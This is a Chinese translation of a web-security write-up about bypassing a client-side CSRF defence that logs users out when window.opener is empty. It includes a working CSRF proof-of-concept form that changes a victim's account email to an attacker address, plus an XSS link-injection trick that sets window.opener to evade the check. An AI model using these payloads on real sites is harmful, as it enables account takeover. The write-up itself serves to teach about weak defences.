随着Web应用的流行,安全问题日益受到瞩目。目前Web应用的安全性更多依靠Web开发人员来保障,而非依靠客户端验证机制。这使得Web应用变的更加灵活可靠,但同时也伴随着高昂的代价。目前70%的Web应用都非常脆弱,正是由于基于客户端的认证机制非常容易被绕过。日前,我在一项Web应用中,发现了一个有趣的防范CSRF攻击的安全机制。
当我们谈论CSRF防护时,通常会使用三种方法:
1.检查Referrer 2.基于表单的随机Token 3.基于Cookie的随机Token
目前我们进行的CSRF防护多是使用JavaScript代码在客户端进行防护的。
我们来看一个HTTP头
POST /home/accountsettings HTTP/1.1 Host: websecgeeks.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Referer: http://websecgeeks.com/ Connection: keep-alive Content-Length: 57 newemail=attacker@something.com&Submit=Save
由于没有使用随机Token,我们可以说上面这段代码存在CSRF威胁。为了验证这点,我创建了一个html页面:
<html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html>
当我使用一个合法的会话去执行这个页面的时候,Web应用立即踢出了我,之后我反复尝试重新执行,Web应用均立即踢出了我并注销了我的会话。我猜想可能是Web使用了Referrer进行验证,所以我手动增加了一个合法的Referrer值,结果Web应用再次注销了我的会话。
在经历了数次尝试之后,我发现了一段用来防护的JavaScript代码
<script> if(window.opener ==null){ top.location.href=”/homedirectory/logoutuser”; } </script>
我们发现这段代码请求了一个Window.opener值。如果Window.opener的值为空,则Web应用则会踢出我并注销我们的会话。就CSRF防护来说,这段代码相当不错。关于Window.opener请参见: Windows Opener Description
当一个窗口由另一个窗口打开时,这个窗口会维护一个指向前一个窗口的参考值,这个值就是 window.opener 。如果当前窗口没有由其他窗口来打开,那么window.opener值为空。目前Windows Phone浏览器不支持window.opener,同时当窗口由不同安全区域的窗口来打开时,IE浏览器也不支持window.opener。
那么现在我们就需要设置window.opener来实现CSRF攻击。
通过分析我找到了一种通过使用HTTP标签中href属性来创建Opener值的方法。
首先创建两个页面
1.xss.php 2.csrf3.html
在"xss.php"中我创建了一个指向"csrf3.html"的链接,同时使用get方法传递一个名为"zip"的变量。这里我们假设zip变量没有进行任何过滤。那么我们使用href进行如下注入:
<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
<html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html>
最终我们发向目标的URL为
http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
效果截图如下:
3.现在我成功了,在检查过href给的链接后,我可以打开新的页面而不被Web应用踢出了,同时也绕过了CSRF的防护。
就像我们平时常说的基于客户端的验证机制不是一个很好的方法。经过这次实验,我想说使用新的方法去防护Web应用攻击是非常不错的,但我们必须要注意具体的实现方式。
* 本文由xiaix翻译,原文链接: exploit-db ,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)